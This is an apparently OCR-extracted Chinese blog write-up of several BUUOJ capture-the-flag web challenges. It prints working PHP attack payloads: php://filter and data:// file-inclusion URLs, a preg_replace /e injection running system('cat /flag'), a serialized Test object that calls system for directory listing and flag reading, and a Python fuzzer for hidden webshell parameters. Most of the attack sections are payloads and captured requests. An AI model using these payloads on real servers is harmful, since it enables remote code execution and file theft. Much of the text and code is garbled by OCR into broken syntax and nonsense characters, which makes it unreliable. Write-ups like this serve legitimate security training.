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<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text, 'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text, 'r')."</hl></br>";
if(preg_match("/flag/",$file)){
die("Not now!");

}

include($file); //next.php

}

else{
highlight_ file(__FILE_ );
}

?>

sy HIARAD, Hifile_get contents()eR#dT FrtextZ 4, DL HI A& i EL, X B Hphpth hid hifdata/ihil, I+ HH
php:/filtert} X 2 3znext.php .
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| have a dream
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> O =s% #HE DEdE NRE (datess QOum Onr BDeEE 1 AESHs 8 WEES @ HackBar (R Overrides ] e X
Encryption ~  Encoding ~ SQL v+ XSS~ Other ~ Contribute now! HackBar v2
hitp://7d0145df-bd04-4bc5-b3ca-5b9fdcfbb539.node4.buuoj.cn:81/index.php?text=data://text/plain,|1%20have % 20a%20dream&file=php:/filter/convert base64-encode/resou php CSDN @YsterCot
LT 4E
filt i 15 2
<?php

$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
/(' . $re . ')/ei',
"strtolower("\\1")"',
$str

)5

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";

function getFlag(){
@eval($ GET['cmd']);
¥

RN Fipreg_replace SIS HT, XBEREFH T /etikfipreg_replace HILHI—NFiH
le & IEFFE preg_replace() K replacement 44 {F PHP 164
next.php?\S*=${getFlag()}&cmd=system('cat /flag');

Hizgs ipayload, XHENS* & —A5ed, fFHATHIREUE ${getFlag()} , & Jath NS KemdBI a5 AT R fir & AT
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POST findex.php HTTRM 1

Host: 3382f0L6-2104-48he-9e7 4-b9a506f7 103a. noded. buucj. en:81

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; «64; 97 .0) Gecko/20100101
Firefox/37.0

Accept:

text/html application/xhtml+xml application/xml;q=0.9 image/avif image/webp **; q=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2

‘Accept-Encnding: gzip, deflate

Content-Type: application/s-www-form-urlencoded

Content-Length: 29

Crigin: http://3382f0b6-2104-48he-9e7 4-b9a506f7 103a. noded. buuaj. cn:81

Connection: close

Referer: http:/3382006-2104-48he-9e7 4-h9a506f7 103a.noded. buuaj.cn:81/index. php
Cookie:

UM _distinctid=17 d40a29a1396b-02ffcacdc1 akb68-4c32217 e-144000-17 d40a29a1592e
Upgrade-Insecure-Requests: 1

DNT: 1

Sec-GPC: 1

func=datef&p="-m-d+h%3A1%3 As+a
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RIldate EEPAT T F S E, %ikeval

pi
func=evalpp=Y—m-d+h%3Ai%3As+a color: white;

H
</styles
</head=

<hody=
<script language=javascript>
setTimeout("document.form1.submit{)”,5000)

<[scripts
<p=
Hacker... CSDN @YsterCcc
TR B R AL
Request W7 Burp Suite Kesponse Kenderer — u

CEAL LD s

Raw | Params | Headers | Hex

OST findex.php HTTP/T.1 B 1 (be. g

ground-size: 100%;

ost: 3382f0b6-2104-48be-9e7 4-b9aE06f7 103a. noded buuoj.cn:81

ser-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:97.0) Gecko/20100101
irefox/97.0

ceept

wxtfhtml application/xhtml+xml application/xml;q=0.9 image/avif,imageiwebp ", ¢=0.8 olor: white;
ccept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;¢q=0.3 en;g=0.2
ccept-Encoding: gzip, deflate

ontent-Type: application/x-www-form-urlencoded

ontent-Length: 31

rigin: http://3362f0b6-2104-48be-Je7 4-b9a506f7 103a. noded. buuoj. cn:g1

onnection: close

eferer: http://3362f006-2104-48he-9e74-b93506f7103a. noded buuaj. cn:B1/index. php
ookie:
W_distinctid=17d40a29a1396b-02flcacdc1ab568-4c3e217 8- 144000-17 d40a29a1592e
pgrade-Insecure-Requests: 1

WNT: 1

ec-GPC: 1

show sour'ce' hpinfo",
nc=highlight_file&p=index.php > PR P

return $result;
} else {return "";}
)}
class Test {
var $p = "Y-m-d h:i:s a";

var $func = "date”;
function _ destruct() {
if ($this->func 1= "") {
echo gettime($this->func, $this-»>p); CSDN @YsierCeo

<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;

p {
color: white;

}
</style>
</head>

<body>
<script language=javascript>
setTimeout ("document.forml.submit()",5000)
</script>
<p>
<?php



$disable_fun = array("exec","shell exec","system","passthru","proc_open","show_source","phpinfo", "popen","dl

","eval","proc_terminate", "touch","escapeshellcmd", "escapeshellarg", "assert","substr_replace","call user_func_ar
ray","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_ti
ck_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recu
rsive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {

$result = call_user_func($func, $p);

$a= gettype($result);

if ($a == "string") {

return $result;
} else {return "";}

}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function _ destruct() {
if ($this->func = "") {
echo gettime($this->func, $this->p);
}
}
}

$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func !'= null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
telse {
die("Hacker...");

?>

</p>

<form id=forml name=forml action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>

</body>

</html>

AT DAR RSO A 4251 T, AN X B class Test, destruct()2fiE 1 5754k unserialize

<?php
class Test{
var $p = "1Is /";
var $func = "system";

}

$c = new Test();
echo serialize($c);
?>

func=unserialize&p=0:4:"Test":2:{s:1:"p";s:4:"1s /";s:4:"func";s:6:"system";}



<p>
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
shin
STV
start.sh
sys
tmp
usr
var
var</p=

fEtmp 4L Eiflag

func=unserialize&p=0:4:"Test":2:{s:1:"p";s:7:"1ls /tmp";s:4:"func";s:6:"system";}

Sec-GPC: 1

func=unserialize@p=0:4:"Test™:2:{s:1:"p";s:7:"s tmp";s:4:"func”;s:6:"system";}

</style>
</head=

<hody>
<script language=javascript>
sefTimeout("document.form1.submit{) ”,5000)
</script=
<p=
flagoefiudrd3
pear

naarsins

func=unserialize&p=0:4:"Test":2:{s:1:"p";s:22:"tac /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

Jfunc=unsenalize&p=0:4:"Test"2:{s:1:"p" 5:22:"ac
jftmpmagoeﬂudr%"; s:d:"func”;s:6:"system”;}

[55 WX A7 2019]7 B ) 2B 7% 1

</style=
</head=>

<hody>
<script language=javascript>
setTimeout("document.form1.submit{)”,5000)
<fscript=
<p=
flag{ef4h4669-2c99 4823 Ibfe fd45cT d617ea}
flag{efdh4669-2c99-4823 9bfe fdd5cTd6 17 ea)</p>
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EZER, ADEA, RS HR
RESRRBGIATORE, BHEHTREFEHwww.tar gzl A RN

Piewww.tar.gzst T EIEI, NECR R AKIA RN 2

{
|'$ GET['k3rFsAYGb'] =" |

S$nNJbWsgNK4h = 'b4CmbbVa’;

$ZADepUO = 'omxdGKBj';
$ifPesD = 'J8g1PSQ;
$ivioa = 'hT1kE3WI;
SkAn1bAkk = 'kNc"

ffiphp3Cff, AP RE

=] ZZW5U1aQRRK.php
=] zzt4yx¥ RMa.php
|s1] zzqrFRic3ia.php

$F3qc5"| ='0Jn’; @ZZﬂﬂBIT.OsmK.php
$CBkMt7c0OcyE = new stdClass(); (#) 2250cetjKTd.php
' ' || zz7HHKFvmtR.php
$CBKkMt7c0cyE->MUMWnN4Swah = 'ID1r1q"; 2 ZVVG IdEaK oh
$CBKMt7cOcyE->j35)n = 'wz'; R
, yE2) ‘ ] ZyDZDrQLIEX.php
$qd = 'ezWc; [#] ZYBEzKzjTIH.php
SFAfTEyw = 'sm’; [#] ZxiRIBBWBPH.php
SBHI3PJIVX3I = 'j2 kTIP a’; = ZX45WTNSem php
$XOT16hXnMP = 'Zc'; [ ZxX7kZEKABXG.php
$kuiRHUMKS = array(); ] 2X42UJUVsmU.php
| ZwOV9aHgXqZ.php

$kuiRHUMKS[1= $nNJbWsqNK4h;

var_dump($kuiRHUmMKS);
$ZADepUOQ .= 'KolyAUILT';

$ifPesD =[$_GET['HTKI4Hbl2oC'] 72" 5|

|s1] zwflEnTUWa_.php
] zZwFHAbIXW7a.php
] ZwEal3wDC02.php
] ZwbdKDSHISw.php

ABE I shell

EEEFN i

if(function_exists("q9J267mdargMnuX")){
g9J267mdargMnuX($kAn1bAkk);

2 Coni @YsiarCon
) B2 e MH e 3002, ise: 1. FRESrietAsi: 39.3 MB TISereas 100,07

|+ 2w673fod0Gk.php
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https://blog.csdn.net/a3320315/article/details/102945940

import os
import requests
import re
import threading
import time
print('JFEAIE: '+ time.asctime( time.localtime(time.time()) ))
sl=threading.Semaphore(100) #IX 1% BRI FEL
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) # L BTG S
requests.adapters.DEFAULT_RETRIES = 5 #IZEFIERE, BriL 2R3 E, Wi FiEsE
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # WE TR E SFalse
def get_content(file):

sl.acquire()

print('trying '+file+ '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #11 Hohp X1F, FERITE198_GET Fi$_POSTHIZ 4
gets = list(re.findall('\$ GET\[\'(.*?)\"\]"', f.read()))
posts = list(re.findall('\$ POST\[\'(.*?)\"\]", f.read()))
data = {} #IT A 19%_POST
params = {} #Ir A HI8_GET
for m in gets:
params[m] = "echo "xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = '"http://127.0.0.1/src/"'+file
req = session.post(url, data=data, params=params) # /ALK G HIGET HIPOST

req.close() # KHTgLR  BHAT

req.encoding = 'utf-8'

content = req.text

#print(content)

if "xxxxxx" in content: # AR 7] UFIH IS5 BREETTSE H AR 24
flag = ©

for a in gets:
req = session.get(url+'?%s="%a+"echo "xxxxxx';")
content = req.text
req.close() # KENEKR  FEIRA
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo "xxxxxx';"})
content = req.text
req.close() # KENEKR  FERA
if "xxxxxx" in content:

break

if flag == 1: #fLag KA S HZGET L ZPOST, HIREZGET, flag==1, Wb KEX;: UIFZPOST, flag @,
param = a

else:
param = b

print ("B TR "+file+”  and BN THRHKISE: %s" %param)

print (" 45 A e : " + time.asctime(time.localtime(time.time())))

sl.release()
for i in files: #IA Z L6 FE

t = threading.Thread(target=get_content, args=(i,))
t.start()



B [ php SCHHFI 25U H Fzcat flag

/xk@SzyKwfzw.php?Efa5BVG=cat’%20/flag

array(1) { [0]=> string(8) "wiMI9I7q" } array(1) { [0]=> string(3) "NPK" }

Warning: assert(): assert($_GET['xdOUXc39w'] 22 ' '): " * failed in /var/www/html/xk0SzyKwfzw.php on line 20

Array () string(5) "vCvMI" PSlarray(1) { [0]=> string(8) "Ph7u_Cwv" } array(1) { [0]=> string(10) "idch8Z75n6" } array(1) { [0]=> strlng(Q) "djD1Ytoul" }array(1) { [0] > strlng(‘l 1) "Egx6a0p6kUP" }
string(9) "j¥mlyYvLz" VSYcTArray () string(8) "hi5SLWnZd" array(1) { [0]=> string(9) "dJREKNffr" } Array () KuuSMt1string(8) "jyUmr9
() Array () MR8s3nFnarray(1) { [0]=> string(10) "FWefOFK4g7" } array(1) { [0]=> string(9) "iZFnwUgPf" } Array () THRQINrpUJvf641 a {abb126a5 faQB 4d3b-b411 8d6467484b68) rray(1) { [0]=>
string(6) "KLRXmV" } array(1) { [0]=> string(2) "Tw" } Array () array(1) { [0]=> string(8) "oCoznfQZ" } gi9Array () czuhsLFVgQstring|[7) "I5kR500" End of File

X O=ss Deus DEdE NRE (eeEs QOuwe Ons BER F AEEHE I 08T @ Hackbar ® Overrides i e X
Encryption ~ Encoding~ SQL~ XSS~ Other~ Contribute now! HackBar v2
http://21620564-12f3-4e23-a023-89f32a897 8cf.node4 .buuoj.cn:81/xk0SzyKwizw.php?Efa5BVG=cat%20/flag
CSDN @YsterCcg

[BJDCTF2020]Mark loves cat 1

Hldirsearchd= &3 1 gititt 5, F| FH githackdt F 4 Tk

dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
python GitHack.py url

& Bilflag.php-5index.php

<?php
$flag = file_get_contents('/flag');

<?php
include'flag.php’;
$yds = "dog";

$is = "cat";
$handsome = 'yds';

foreach($_GET as $x => $y){ //getft{i
$$x = $$y; /WX E A yds=flag #1457 $yds=$flag

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);

b

)

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);

b

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);

)

echo "the flag is: ".$flag;

?>



iX Bt Hiforeach, Mictfrh$$ 578 &7 o in) B4 AEforeachrf U, X L &5 /N PER AT B, AN AT postitiflagfligeti
flagz & [F] I} i BLRD AT exutfi Hiyds, BT AERATA ZigetitisRyds=fagifiT 1, XHEH—Moreachifi it A7 1 Wl & FE47 13X
FEI— A EAE $yds=$flag

flag{f2da6f26-6850-4230-af99-8861d5a4c593}
O D= Dawe OEted NRs {(Ietses Ous Ows Bes W xEshs B uEes @ HackBar  ® Overrides

Encryption ~ Encoding~ SQL ~ XSS~ Other ~

http://6835¢c53a-ddaf-4c7e-a7b5-aa7ed8b576ce.node4.buuoj.cn:81/?yds=flag
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